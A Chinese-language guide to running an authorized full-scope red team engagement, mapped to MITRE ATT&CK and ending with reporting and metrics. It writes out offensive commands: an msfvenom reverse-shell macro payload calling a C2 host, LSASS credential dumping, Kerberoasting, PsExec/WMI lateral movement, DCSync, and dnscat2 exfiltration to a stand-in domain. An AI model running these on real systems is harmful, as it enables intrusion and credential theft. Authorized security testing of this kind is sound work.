conducting-full-scope-red-team-engagement

开展全范围红队演练

概述

全范围红队演练模拟真实世界中对手在网络杀伤链所有阶段的行为——从初始侦察到数据外泄——以评估组织的检测、防御和响应能力。与渗透测试不同，红队行动优先考虑隐蔽性、持久性以及模拟高级持续性威胁（APT）的基于目标的场景。

使用场景

• 当开展涉及全范围红队演练的安全评估时
• 当针对相关安全事件遵循事件响应流程时
• 当执行计划内的安全测试或审计活动时
• 当通过实操测试验证安全控制措施时

前提条件

• 由高层领导签署的书面授权（《行动规则》文档）
• 明确的范围，包括范围内/范围外系统、升级联系人及紧急停止程序
• 关于相关对手组织（如 APT29、FIN7、Lazarus Group）的威胁情报
• 红队基础设施：C2 服务、重定向器、钓鱼域名、载荷开发环境
• 确认符合《计算机欺诈与滥用法案》（CFAA）及当地法律的法律审查

演练阶段

阶段 1：规划与威胁建模

根据威胁画像将演练映射到特定的 MITRE ATT&CK 战术和技术：

杀伤链阶段	MITRE ATT&CK 战术	示例技术
侦察	TA0043	T1593 搜索开放网站/域名，T1589 收集受害者身份信息
资源开发	TA0042	T1583.001 获取基础设施：域名，T1587.001 开发能力：恶意软件
初始访问	TA0001	T1566.001 鱼叉式钓鱼附件，T1078 有效账户
执行	TA0002	T1059.001 PowerShell，T1204.002 用户执行：恶意文件
持久化	TA0003	T1053.005 计划任务，T1547.001 注册表运行键
权限提升	TA0004	T1068 利用漏洞进行权限提升，T1548.002 UAC 绕过
防御规避	TA0005	T1055 进程注入，T1027 混淆文件
凭据访问	TA0006	T1003.001 LSASS 内存，T1558.003 Kerberoasting
发现	TA0007	T1087 账户发现，T1018 远程系统发现
横向移动	TA0008	T1021.002 SMB/Windows 管理共享，T1550.002 Pass the Hash
收集	TA0009	T1560 归档收集的数据，T1213 来自信息库的数据
外泄	TA0010	T1041 通过 C2 通道外泄，T1048 通过替代协议外泄
影响	TA0040	T1486 为造成影响而加密数据，T1489 停止服务

阶段 2：侦察（OSINT）

# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt

# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
    print(cert['name_value'])
" | sort -u > subdomains.txt

# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results

# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json

# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv

阶段 3：初始访问

红队演练中常见的初始访问向量：

鱼叉式钓鱼（T1566.001）：

# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba

# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json

外部服务利用（T1190）：

# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan

# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e [email protected]

阶段 4：后渗透与横向移动

# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com

# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords

# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Lateral movement via WMI (T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"

# Lateral movement via PsExec (T1021.002)
psexec.py domain/admin:[email protected]

阶段 5：目标达成

定义并追求特定目标：

1. 域控制：获得 Domain Admin 访问权限并 DCSync 凭据
2. 数据外泄：定位并外泄核心资产数据（如 PII、财务记录）
3. 业务影响模拟：演示勒索软件部署能力（不实际执行）
4. 物理访问：门禁卡克隆、尾随进入、服务器机房访问

# DCSync attack (T1003.006)
secretsdump.py domain/admin:[email protected] -just-dc-ntlm

# Exfiltration over DNS (T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t

阶段 6：报告与复盘

报告应包含：

1. 执行摘要：业务影响、风险评级、关键发现
2. 攻击叙述：活动时间线，附截图和证据
3. MITRE ATT&CK 映射：所用技术的完整热力图
4. 发现：每项发现附 CVSS 评分、证据、修复建议
5. 检测差距分析：SOC 检测到的与遗漏的内容
6. 紫队建议：针对已识别差距的具体检测规则

指标与 KPI

指标	描述
平均检测时间 (MTTD)	从执行动作到 SOC 检测到的平均时间
平均响应时间 (MTTR)	从检测到遏制的平均时间
TTP 覆盖率	已检测到的已执行技术的百分比
目标达成率	已完成既定目标的百分比
驻留时间	红队维持未被检测到的访问的总时间

工具与框架

• C2 框架：Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
• 侦察：Amass, Recon-ng, theHarvester, SpiderFoot
• 利用：Metasploit, Impacket, CrackMapExec, Rubeus
• 后渗透：Mimikatz, SharpCollection, BOF.NET
• 报告：PlexTrac, Ghostwriter, Serpico

参考文献

• MITRE ATT&CK 框架：https://attack.mitre.org/
• 红队指南：https://redteam.guide/
• PTES（渗透测试执行标准）：http://www.pentest-standard.org/
• 红队 TIBER-EU 框架：https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/
• CBEST 情报主导测试：https://www.bankofengland.co.uk/financial-stability/financial-sector-continuity